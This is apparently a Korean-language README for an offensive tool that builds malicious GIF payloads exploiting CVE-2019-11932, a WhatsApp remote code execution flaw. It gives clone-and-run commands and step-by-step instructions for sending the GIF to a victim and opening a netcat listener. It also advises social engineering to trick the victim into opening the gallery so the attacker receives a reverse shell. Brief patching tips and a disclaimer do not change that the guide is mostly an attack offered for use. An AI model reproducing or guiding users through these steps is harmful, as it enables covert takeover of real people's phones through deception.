WhatsPayloadRCE

이것은 CVE-2019-11932(WhatsApp 원격 코드 실행)용 페이로드를 자동으로 생성하는 도구입니다.

1. GCC 자동 설치(무해한 명령어이며, 오픈소스이므로 직접 확인할 수 있습니다)
2. .GIF 파일로 저장

사용 방법?

sudo apt install git
git clone https://github.com/Err0r-ICA/WhatsPayloadRCE
cd WhatsPayloadRCE && bash start

스크린샷

셸 얻는 방법?

1. .GIF 파일을 이미지가 아닌 문서로 피해자 사용자에게 보내세요.
2. 그리고 WhatsRCE 도구에서 설정한 포트로 nc / netcat을 설정하세요. {nc -lnvp your_port}
3. 피해자가 이 익스플로잇을 실행하도록 유도하기 위해 사회공학(Social Engineering) 공격을 사용할 수 있습니다.
4. 피해자에게 WhatsApp에서 갤러리를 열고 아무 사진이나 보내라고 하세요. 그 후 몇 초가 지나면 피해자로부터 셸 연결을 받게 됩니다.

이 공격을 예방하는 방법?

1. WhatsApp을 최신 버전으로 업데이트하세요. (버전 2.19.244에서 패치됨)
2. 모르는 사람에게서 온 오디오, 이미지 등 모든 파일을 받지 마세요.

감사합니다 awakened1712 - Edo Maland - IndoXploit

이것은 학습 목적으로만 제공되며, 범죄에 사용할 경우 발생하는 결과 등에 대해 저는 책임지지 않습니다!

내 계정

• TELEGRAM

• FACEBOOK

• INSTAGRAM